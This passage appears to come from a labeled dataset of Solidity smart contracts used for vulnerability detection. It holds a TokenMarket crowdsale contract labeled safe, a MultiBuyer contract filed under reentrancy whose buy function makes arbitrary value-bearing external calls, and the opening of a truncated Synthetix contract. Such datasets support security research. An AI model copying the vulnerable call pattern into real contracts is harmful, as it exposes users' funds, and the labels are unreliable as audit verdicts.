all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @param purchaser Address of the purchaser @return False by default, true if a presale purchaser */ function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint newOneTokenInWei) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Finalize agent defines what happens at the end of succeseful crowdsale. * * - Allocate tokens for founders, bounties and community * - Make tokens transferable * - etc. */ contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } /** Return true if we can run finalizeCrowdsale() properly. * * This is a safety check function that doesn't allow crowdsale to begin * unless the finalizer has been set up properly. */ function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale(); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * A token that defines fractional units as decimals. */ contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } /** * Abstract base contract for token sales. * * Handle * - start and end dates * - accepting investments * - minimum funding goal and refund * - various statistics during the crowdfund * - different pricing strategies * - different investment policies (require server side customer id, allow only whitelisted addresses) * */ contract CrowdsaleExt is Haltable { /* Max investment count when we are still allowed to change the multisig address */ uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; /* The token we are selling */ FractionalERC20Ext public token; /* How we are going to price our offering */ PricingStrategy public pricingStrategy; /* Post-success callback */ FinalizeAgent public finalizeAgent; /* name of the crowdsale tier */ string public name; /* tokens will be transfered from this address */ address public multisigWallet; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal; /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* Has this crowdsale been finalized */ bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } //is crowdsale updatable bool public isUpdatable; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => WhiteListData) public earlyParticipantWhitelist; /** List of whitelisted addresses */ address[] public whitelistedParticipants; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed */ enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); // Address early participation whitelist status changed event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; // Don't mess the dates if(startsAt >= endsAt) { throw; } // Minimum funding goal can be zero minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } /** * Don't expect to just send in money and get tokens. */ function() payable { throw; } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * @param customerId (optional) UUID v4 to track the successful payments on the server side * */ function investInternal(address receiver, uint128 customerId) stopInEmergency private { // Determine if it's a good time to accept investment from this participant if(getState() == State.PreFunding) { // Are we whitelisted for early deposit throw; } else if(getState() == State.Funding) { // Retail participants can only come in when the crowdsale is running // pass if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { // Unwanted state throw; } uint weiAmount = msg.value; // Account presale sales separately, so that they do not count against pricing tranches uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { // Dust transaction throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { // tokenAmount < minCap for investor throw; } // Check that we did not bust the investor's cap if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // Update totals weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); // Check that we did not bust the cap if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); // Pocket the money if(!multisigWallet.send(weiAmount)) throw; // Tell us invest was success Invested(receiver, weiAmount, tokenAmount, customerId); } /** * Allow anonymous contributions to this crowdsale. */ function invest(address addr) public payable { investInternal(addr, 0); } /** * The basic entry point to participate the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } /** * Finalize a succcesful crowdsale. * * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } /** * Allow to (re)set finalize agent. * * Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes. */ function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; // Don't allow setting bad agent if(!finalizeAgent.isFinalizeAgent()) { throw; } } /** * Allow addresses to do early participation. */ function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; //if (addr != msg.sender && contractAddr != msg.sender) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); // Don't change past assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); //start time should be greater then end time of previous tiers for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time);// Don't change past assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } /** * Allow to (re)set pricing strategy. * * Design choice: no state restrictions on the set, so that we can fix fat finger mistakes. */ function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; // Don't allow setting bad agent if(!pricingStrategy.isPricingStrategy()) { throw; } } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { // Change if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Check if the contract relationship looks good. */ function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } /** * Check if the contract relationship looks good. */ function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } /** * Crowdfund state machine management. * * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale. */ function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } /** Interface marker. */ function isCrowdsale() public constant returns (bool) { return true; } // // Modifiers // /** Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { if(getState() != state) throw; _; } // // Abstract functions // /** * Check if the current invested breaks our cap rules. * * * The child contract must define their own cap setting rules. * We allow a lot of flexibility through different capping strategies (ETH, token count) * Called from invest(). * * @param weiAmount The amount of wei the investor tries to invest in the current transaction * @param tokenAmount The amount of tokens we try to give to the investor in the current transaction * @param weiRaisedTotal What would be our total raised balance after this transaction * @param tokensSoldTotal What would be our total sold tokens count after this transaction * * @return true if taking this investment would break our cap rules */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); /** * Check if the current crowdsale is full and we can no longer sell any tokens. */ function isCrowdsaleFull() public constant returns (bool); /** * Create new tokens or transfer issued tokens to the investor depending on the cap model. */ function assignTokens(address receiver, uint tokenAmount) private; } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { /* Maximum amount of tokens this crowdsale can sell. */ uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } // Crowdsale maximumSellableTokens has been changed event MaximumSellableTokensChanged(uint newMaximumSellableTokens); /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } /** * Dynamically create tokens and assign them to the investor. */ function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",Safe,8,8 21750.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 44742.sol,"pragma solidity ^0.5.16; // Inheritance import ""./Owned.sol""; import ""./MixinResolver.sol""; import ""./MixinSystemSettings.sol""; import ""./interfaces/ILiquidations.sol""; // Libraries import ""./SafeDecimalMath.sol""; // Internal references import ""./EternalStorage.sol""; import ""./interfaces/ISynthetix.sol""; import ""./interfaces/IExchangeRates.sol""; import ""./interfaces/IIssuer.sol""; import ""./interfaces/ISystemStatus.sol""; // https://docs.synthetix.io/contracts/source/contracts/liquidations contract Liquidations is Owned, MixinSystemSettings, ILiquidations { using SafeMath for uint; using SafeDecimalMath for uint; struct LiquidationEntry { uint deadline; address caller; } /* ========== ADDRESS RESOLVER CONFIGURATION ========== */ bytes32 private constant CONTRACT_SYSTEMSTATUS = ""SystemStatus""; bytes32 private constant CONTRACT_SYNTHETIX = ""Synthetix""; bytes32 private constant 